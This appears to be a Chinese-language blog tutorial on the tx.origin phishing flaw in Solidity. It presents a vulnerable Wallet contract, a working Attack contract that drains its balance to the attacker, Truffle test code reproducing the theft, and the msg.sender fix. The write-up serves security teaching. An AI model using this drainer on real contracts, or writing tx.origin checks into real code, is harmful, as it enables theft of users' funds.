钓鱼攻击 tx.origin
tx.origin是 Solidity中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin返回交易的原始发送者,在本例中是授权帐户。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}问题分析
合约部署时将部署用户作为当前合约的owner,并定义了transfer方法,此方法需要传入一个转账用户地址 _to和转账数量 _amount。在第一行通过 require 并使用tx.origin和owner判断是否为部署用户,不是将抛出 "Not owner",第12行 向_to 地址 转账 _amount 数量的虚拟币(call 为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"。
这题主要问题在于在使用tx.origin作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。
例如:
第一步
用户-A :部署了 Wallet 合约;
攻击者-B:部署了 钓鱼的恶意合约;
第二步
用户-A :调用了 攻击者-B 恶意合约
第二步 分析
这个时候如果恶意合约调用了 用户-A 部署的 Wallet合约,此时合约中的tx.origin获取的地址为用户-A的地址,并向_to地址转账,并不会触发require的判断,此时攻击者-B只需要将_to 在攻击合约中定义为个人账户地址,此时用户-A的用户余额已被转走。
攻击代码
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
} 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet合约地址,并将个人地址保存在owner中,在 用户-A调用 Attack.attack()方法时,攻击合约将会调用Wallet合约的transfer方法,传入攻击者的地址owner和Wallet合约账户的所剩余额。
攻击复现
执行步骤
{hide}
1、创建项目文件夹,并在文件夹中初始化truffle项目
truffle init2、将Wallet.sol 合约导入
3、在migrations文件夹下创建合约迁移文件
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
module.exports = async function(deployer,network,account){
// init Wallet to 1 ether , Attack init 0
// tips: Wallet initialization amount will be deducted from the ganache deployment account
await deployer.deploy(Wallet,{value:web3.utils.toWei("1","ether"),from:account[1]});
await deployer.deploy(Attack,Wallet.address,{value:0,from:account[0]});
} 这里部署Wallet和Attack合约,为Wallet指定部署用户为account[1]并为此合约初始化1 ether的余额(这里的余额会从ganache测试网络中的用户account[1]扣除);为Attack指定部署用户为account[0]。
4、在test文件夹下编写测试代码
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
let newWallet;
let newAttack;
contract("Test Wallet",async (address)=>{
it("Attack Wallet",async()=>{
// ================= 1 ========================
// deployed Walled -> deploy account is address[1]
newWallet = await Wallet.deployed();
// Attack Walled -> deploy account is address[0]
newAttack = await Attack.deployed(newWallet.address);
// ================= 2 ========================
// Attack and Walled init user
let deployedAttackUser = await web3.eth.getBalance(address[0]);
let deployedWalled = await web3.eth.getBalance(newWallet.address);
console.log("deployedAttackUser balance: ",deployedAttackUser.toString());
console.log("deployedWalled balance: ",deployedWalled.toString());
// ================= 3 ========================
// use account address[1] to run attack
// this address[1] and walled deployment users are consistent
await newAttack.attack({from:address[1]});
})
it("Attack check",async()=>{
let deployedAttackUser = await web3.eth.getBalance(address[0]);
let deployedWalled = await web3.eth.getBalance(newWallet.address);
console.log("Check deployedAttackUser balance: ",deployedAttackUser.toString());
console.log("Check deployedWalled balance: ",deployedWalled.toString());
});
})这里写了个样例代码,步骤意思为:
1)部署两个合约,并将wallet合约地址传给Attack;
2)获取当前address[0]攻击部署用户地址)下的余额和wallet合约账户余额;
3)使用address[1](wallet 部署用户地址)访问Attack合约;
4)检查address[0]和wallet合约账户余额;
5、运行truffle测试
truffle test结果
可以看到一开始攻击者账户中有 47024979010000000000的余额,Wallet合约账户中有10000000000000000000,在执行完成后攻击者账户中多了10000000000000000000的余额,而Wallet合约账户中的余额已被清空,此时攻击成功,流程出来后写出标准的测试代码。
const Wallet = artifacts.require("Wallet");
const Attack = artifacts.require("Attack");
contract("Test Wallet",async (address)=>{
it("Attack Wallet",async()=>{
newWallet = await Wallet.deployed();
newAttack = await Attack.deployed(newWallet.address);
await newAttack.attack({from:address[1]});
let deployedWalled = (await web3.eth.getBalance(newWallet.address)).toString();
assert.equal(deployedWalled , "0","Attack Failed");
})
})通过代表执行攻击合约成功。
漏洞修补
将合约中的 tx.origin 替换为 sg.sender
修补过程
1、修改合约中的 tx.origin 替换为 msg.sender
2、执行测试
此时Attack合约攻击被合约中的require给阻止,自此合约修复完成。
项目文件
{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/3233401250.tar" radius="5px" content="项目下载"/}
参考文章
{card-list}
{card-list-item}
智能合约安全审计入门篇 —— Phishing with tx.origin | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
SWC-115 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{card-list-item}
solidity内置对象block、msg
{/card-list-item}
{/card-list}
{/hide}